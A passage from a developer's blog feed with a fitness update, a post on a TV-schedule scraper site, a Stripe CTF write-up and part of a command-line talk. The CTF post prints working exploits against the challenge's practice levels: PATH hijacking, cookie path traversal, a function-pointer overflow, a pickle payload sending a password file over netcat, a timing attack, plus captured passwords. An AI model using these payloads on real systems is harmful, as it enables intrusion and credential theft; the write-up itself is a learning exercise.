pre-wrap;&quot;&gt;6-&lt;/span&gt;&lt;/a&gt;&lt;a href=&quot;http://www.strava.com/activities/108035626&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;10 miles&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; outdoors.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;I cut out soda except for a treat every 2-4 weeks, and tried to snack less. At first this worked wonders but around November I had to start cutting calories to see the same weight loss that I was seeing in previous months.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;A couple of setbacks along the way, I’ve been getting nagging left-knee pain throughout November and December. The last few weeks I’ve been using the stationary bike exclusively to try and reduce the impact and let my knee recover. I’ve also noticed that I’m aware of a constantly shifting array of muscle aches and pains induced by weight-lifting.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;On the positive side I’m in the best shape of my life. This morning I weighed in at 196 lbs. I’ve been below 200 lbs, my goal weight, for over a week now. This is down from 226 lbs. at the end of May.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://docs.google.com/spreadsheet/ccc?key=0Aiu9oXn7PRj6dGJyemRPR2otTEJpZEVjeXQzeWNZb2c&amp;amp;usp=drive_web#gid=1&quot;&gt;&lt;img height=&quot;279px;&quot; src=&quot;https://lh6.googleusercontent.com/nC_BIKSoCYWg_EJ9jlKrK5TDICmtIcJpg2v-w6fcLSxhHf-NvbPleo_5H6vOnLpp5YSpl7WL-5tkxXVaOg2ELqFAY-EUGvcAGDSVDDSkvxxFRGK6WcBVok4rdA&quot; style=&quot;border: 0px solid transparent;&quot; width=&quot;624px;&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Processed via the &lt;/span&gt;&lt;a href=&quot;http://dev.fitbit.com/&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;Fitbit API&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; and a &lt;/span&gt;&lt;a href=&quot;https://github.com/pcorliss/fitbit-pull&quot; style=&quot;text-decoration: none;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;quick script&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt; I put together.&lt;/span&gt;&lt;/div&gt;&lt;b style=&quot;font-weight: normal;&quot;&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;The effects are noticeable, I look better in the mirror, fat has given way to muscle, and the excessive sweating seems to have eased off. I’ve lost about 4 inches around my waist line. I’ve given up x-large t-shirts in favor or large t-shirts. I'll need to pick up some more pants at the very least as they're starting to look comical on me.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial; font-size: 15px; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;/span&gt; &lt;br /&gt;&lt;div dir=&quot;ltr&quot; style=&quot;line-height: 1.15; margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: Arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;I plan to lose about 5-10 more pounds, then take a break for a while and go on a maintenance plan. Afterwards I may start weightlifting more seriously in an effort to add more lean muscle. My scale claims I’ve only lost about 2-3 lbs of lean muscle during this period. But I’m not sure I trust the accuracy of the electronic impedance testing on a $20 scale.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Law &amp; Order</title>
   <link href="https://blog.50projects.com/2014/01/law-order.html"/>
   <updated>2014-01-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2014/01/law-order</id>
   <content type="html">&lt;div class='post'&gt;
&lt;div dir=&quot;ltr&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;About two years ago I was on an exchange program with another team at Groupon. I flew out to Palo Alto, checked in to my hotel, and spent two-weeks working with another team. It was an interesting experience. I learned a lot, committed some code, and made a big impact. At the end I came back to Chicago more knowledgeable about Groupon’s core systems.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;There was a lot of down-time during those two weeks. I ended up watching a lot of cable TV. What I found was that for me the most comforting show on television was Law &amp;amp; Order. At most times day or night I could find a channel playing one of the many varieties of the show. For whatever reason it helped me relax and decompress a bit knowing that it was a near-constant. The only problem was finding the right channel.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;Thus was born &lt;a href=&quot;http://www.whattimeislawandorderon.com/&quot;&gt;WhatTimeIsLawAndOrderOn.com&lt;/a&gt;. I started off by scraping a site which I won’t name for obvious reasons. Then loaded the data into nokogiri and developed a series of rules for parsing the data. After an evening I had something mostly working. After another day I had a domain, a basic design, and an S3 bucket with mirrors of the content.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;I had planned to run a regular rake task to keep the data updated but never got around to it. But now with “Funemployment” in full swing I figured it was time to dust it off and make it properly functional. With some modifications to the encoding and feed parsing that took most of the day it’s now running on heroku and if the scheduled job runs as expected it should stay up to date.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;Another nifty feature is that by scraping all of the tv schedule I can spin off dozens of other domains for many different shows. If the traffic is high enough I might just be able to cover the costs of buying more domains and hosting with some basic ads.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial;&quot;&gt;&lt;span style=&quot;font-size: 15px; line-height: 17.25px; white-space: pre-wrap;&quot;&gt;A bit of a silly thing to get started with for my first full week of Funemployment. But cleaning up some of my old projects seemed like a nice way to spend some time.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style=&quot;line-height: 1.15;&quot;&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Stripe CTF</title>
   <link href="https://blog.50projects.com/2012/02/stripe-ctf.html"/>
   <updated>2012-02-28T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2012/02/stripe-ctf</id>
   <content type="html">&lt;div class='post'&gt;
&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Code is available at &lt;a href=&quot;https://github.com/pcorliss/Stripe-CTF&quot;&gt;https://github.com/pcorliss/Stripe-CTF&lt;/a&gt;&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;My solutions to the &lt;/span&gt;&lt;a href=&quot;https://stripe.com/blog/capture-the-flag&quot; style=&quot;font-size: 100%; &quot;&gt;Stripe CTF&lt;/a&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt; challenge &lt;/span&gt;&lt;span style=&quot;font-size: 100%; &quot;&gt;are as follows.&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Note that in many cases the code isn't very robust or workable. But was&lt;br /&gt;the minimum needed to complete the level.&lt;/p&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 01&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;On observing that the system call within level01.c made an unchecked&lt;br /&gt;call to 'date' without a full path specified I created a local date&lt;br /&gt;file and set it to the local path. That file was simple shell script&lt;br /&gt;containing 'cat /home/level02/.password'.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;level01@ctf:/tmp/tmp.8N0qqvoaVu$ export PATH=/tmp/tmp.8N0qqvoaVu:$PATH&lt;br /&gt;level01@ctf:/tmp/tmp.8N0qqvoaVu$ chmod a+x date&lt;br /&gt;level01@ctf:/tmp/tmp.8N0qqvoaVu$ /levels/level01&lt;br /&gt;Current time: kxlVXUvzv&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 02&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 2 uses the contents of the clients cookie to read a file without&lt;br /&gt;escaping the contents. Via a browser I modified the cookie set by the&lt;br /&gt;level to the following and the password was printed as part of the web&lt;br /&gt;page.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;Change cookie to ../../home/level03/.password&lt;br /&gt;Or0m4UX07b&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 03&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;I had never performed any sort of pointer arithmatic outside of an&lt;br /&gt;introductory CS course. So this was certainly a challenge for me.&lt;br /&gt;Outside of level 6 I think I spent more time on this level than any of&lt;br /&gt;the other ones.&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;On reading level 3's source code I noticed that it was executing the&lt;br /&gt;function via an array of function pointers. However the selection&lt;br /&gt;mechanism used an argument which only checked for positive numbers &amp;gt;= 3&lt;br /&gt;and not for number &amp;lt; 0.&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;After spending more time with it and gdb I realized you could select a negative&lt;br /&gt;number which pointed to a specific location in the string buffer you&lt;br /&gt;pass as an argument as well. After some fiddling I provided the memory&lt;br /&gt;address of the deprected run function.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;level03@ctf4:/tmp/tmp.uuCAtV5Uog$ /levels/level03 -21 'cat /home/level04/.password;'$'\x5b'$'\x87'$'\x04'$'\x08'&lt;br /&gt;i5cBbPvPCpcP&lt;br /&gt;sh: [: not found&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 04&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Like Level 03 I had never performed a buffer overflow before. I did some&lt;br /&gt;searching and came across the following which amounts to a &lt;a href=&quot;http://biblio.l0t3k.net/b0f/en/BOFwithperl.txt&quot;&gt;buffer&lt;br /&gt;overflows for dummies&lt;/a&gt;. With some tweaking I was&lt;br /&gt;able to make it work for the level 4 binary. It works about 50% of the&lt;br /&gt;time. From what I understand Linux uses some sort of stack randomization&lt;br /&gt;to prevent this sort of attack. From reading other reports online there&lt;br /&gt;is a way to get a dterministic solution but I didn't take the time to&lt;br /&gt;expore that.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;Offset:-994Address: 0xffa368fe&lt;br /&gt;Executing&lt;br /&gt;Buffer:57200&lt;br /&gt;Buffer:0&lt;br /&gt;$&lt;br /&gt;$ whoami&lt;br /&gt;level05&lt;br /&gt;$ cat /home/level05/.password&lt;br /&gt;fzfDGnSmd317&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 05&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;After looking at the python web server and running it locally. I noticed&lt;br /&gt;that it wasn't properly escaping user input and allowed a file&lt;br /&gt;containing executable code to be written to. I pickled up a simple&lt;br /&gt;exploit, started a netcat server listening and passed it through.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;level05@ctf4:/tmp/tmp.7mKxYf6M1c$ nc -l 9333 &amp;amp;&lt;br /&gt;[1] 24599&lt;br /&gt;level05@ctf4:/tmp/tmp.7mKxYf6M1c$&lt;br /&gt;level05@ctf4:/tmp/tmp.7mKxYf6M1c$ curl localhost:9020 -d &quot;DATA; job: cos&lt;br /&gt;system&lt;br /&gt;(S'nc localhost 9333 &amp;lt; /home/level06/.password'&lt;br /&gt;tR.'&lt;br /&gt;tR.&lt;br /&gt;&quot;&lt;br /&gt;SF2w8qU1QDj&lt;br /&gt;{&lt;br /&gt;&quot;result&quot;: &quot;Job timed out&quot;&lt;br /&gt;}&lt;br /&gt;[1]+  Done                    nc -l 9333&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Level 06&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Of all the challenges this one&lt;br /&gt;took the most time. I had heard of and felt I understood the&lt;br /&gt;implementation of a timing attack but had no idea how hard it would be&lt;br /&gt;to actually implement.&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;First I tried something written in ruby to test the time taken to run&lt;br /&gt;the command, however I saw very little difference in how fast something&lt;br /&gt;failed. Given that I was initially testing for the difference between 1&lt;br /&gt;variable check and two and the precision of the ruby clock was only in&lt;br /&gt;nanoseconds this failed right away.&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;Then I tried an &lt;a href=&quot;https://github.com/dividuum/stripe-ctf&quot;&gt;implementation&lt;/a&gt; that already existed online simply to&lt;br /&gt;see if they could work given that many of the servers were under heavy&lt;br /&gt;load and actively running out of forks. But even the supposed solution&lt;br /&gt;above failed to work for me as it seems to depend on the binary forking&lt;br /&gt;and reporting failure almost immediately which I wasn't even able to&lt;br /&gt;replicate locally.&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;Finally I settled on passing very large arguments to slow down the&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;evaluation, similar to the solution above. Then timed each char read in&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;microseconds via a small c program. The fork operation takes slightly&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;longer to run than a normal character check and therefore with&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span style=&quot;font-size: 100%;&quot;&gt;microsecond precision you can determine where the failure &lt;/span&gt;occurred&lt;span style=&quot;font-size: 100%;&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;This solution worked perfectly for me locally but I had to tune it on&lt;br /&gt;stripe's servers in order to get it to work. I'm not sure if I was&lt;br /&gt;reading the buffer incorrectly, the machine was overloaded or if my code&lt;br /&gt;just runs in a way that I'm not expecting. Either way with some fine&lt;br /&gt;tuning and extra sanity checks I was able to get it to run against the password file&lt;br /&gt;and produce the answer.&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ ruby ruby_wrapper.rb&lt;br /&gt;Suffix: 130772&lt;br /&gt;{&quot;t&quot;=&amp;gt;4}&lt;br /&gt;Answer: t&lt;br /&gt;{&quot;h&quot;=&amp;gt;5}&lt;br /&gt;Answer: th&lt;br /&gt;{&quot;e&quot;=&amp;gt;5}&lt;br /&gt;Answer: the&lt;br /&gt;{&quot;f&quot;=&amp;gt;4}&lt;br /&gt;Answer: thef&lt;br /&gt;{&quot;l&quot;=&amp;gt;5}&lt;br /&gt;Answer: thefl&lt;br /&gt;{&quot;a&quot;=&amp;gt;5}&lt;br /&gt;Answer: thefla&lt;br /&gt;{&quot;g&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflag&lt;br /&gt;{&quot;l&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl&lt;br /&gt;{&quot;0&quot;=&amp;gt;4}&lt;br /&gt;Answer: theflagl0&lt;br /&gt;{&quot;e&quot;=&amp;gt;4}&lt;br /&gt;Answer: theflagl0e&lt;br /&gt;{&quot;F&quot;=&amp;gt;4}&lt;br /&gt;Answer: theflagl0eF&lt;br /&gt;{&quot;T&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFT&lt;br /&gt;{&quot;t&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTt&lt;br /&gt;{&quot;I&quot;=&amp;gt;1, &quot;T&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT&lt;br /&gt;{&quot;5&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5&lt;br /&gt;{&quot;o&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5o&lt;br /&gt;{&quot;i&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5oi&lt;br /&gt;{&quot;0&quot;=&amp;gt;4}&lt;br /&gt;Answer: theflagl0eFTtT5oi0&lt;br /&gt;{&quot;n&quot;=&amp;gt;5, &quot;r&quot;=&amp;gt;1}&lt;br /&gt;Answer: theflagl0eFTtT5oi0n&lt;br /&gt;{&quot;O&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nO&lt;br /&gt;{&quot;T&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nOT&lt;br /&gt;{&quot;x&quot;=&amp;gt;5, &quot;e&quot;=&amp;gt;1}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nOTx&lt;br /&gt;{&quot;O&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nOTxO&lt;br /&gt;{&quot;5&quot;=&amp;gt;5}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nOTxO5&lt;br /&gt;{}&lt;br /&gt;Answer: theflagl0eFTtT5oi0nOTxO5&lt;br /&gt;&lt;br /&gt;level06@ctf5:/tmp/tmp.2eCZvV2CuJ$ /levels/level06 /home/the-flag/.password theflagl0eFTtT5oi0nOTxO5&lt;br /&gt;Welcome to the password checker!&lt;br /&gt;........................&lt;br /&gt;Wait, how did you know that the password was theflagl0eFTtT5oi0nOTxO5?&lt;/code&gt;&lt;/pre&gt;&lt;h2 style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;The Flag&lt;/h2&gt;&lt;p style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;You're able to login as the flag user but I couldn't find anything&lt;br /&gt;special or a secret next level. Perhaps I didn't look hard enough?&lt;/p&gt;&lt;pre style=&quot;font-family: Georgia, serif; font-size: 100%; font-style: normal; font-variant: normal; font-weight: normal; line-height: normal; &quot;&gt;&lt;code&gt;the-flag@ctf5:/tmp/tmp.qCU4Sz2RhR$&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lightning Talk - Geekfest</title>
   <link href="https://blog.50projects.com/2011/08/lightning-talk-geekfest.html"/>
   <updated>2011-08-30T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2011/08/lightning-talk-geekfest</id>
   <content type="html">&lt;div class='post'&gt;
As part of Geekfest, a weekly chicago area meetup I gave a 5-minute lightning talk on some basic command line shortcuts. My outline and the commands are below.&lt;br /&gt;&lt;br /&gt;#Introduction&lt;br /&gt;#I'm Philip Corliss a Software Developer here at Groupon, while pairing and my partner is using the keyboard I'll often throw out requests for them to tab-complete, pipe to grep, or ESC-. They usually look at me like I'm crazy. This talk is designed to quickly outline a common scenario of&amp;nbsp;parsing&amp;nbsp;a log file or some other formatted file.&lt;br /&gt;&lt;br /&gt;#What's this file&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;ls &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Whoah, watch this, if you're not familiar with tab completion you should be, it will make your life ridiculously easy. I for one can only spell the first three letters of most words at this point&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;less post.... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Lets take a look, binary huh? weird&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;less postal_codes.csv.gz &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Oh yea it's a gzip file, meaning it's compressed we could decompress it, but for this example lets pretend this compressed file is 1Gb and a 1:10 compression ratio that's 10Gb of data, we don't want to wait for that. So lets just look at it inline. Way faster&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip ... &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Decompresses directly to STDOUT, great for working with the file&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Whoa, too much data, that doesn't really help us&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;^C &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#What's that, it's a Pipe, it pipes stdout from one program to another&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz | &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#First 15 lines then it exits, no extra resources or IO consumed and we get a quick sample of data&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz | head -15&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Lets cut this up alternative syntax in awk for multi-char delimeters awk -F'|' '{ print $3 &quot;:&quot; $4}'&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 &lt;/span&gt;&lt;br 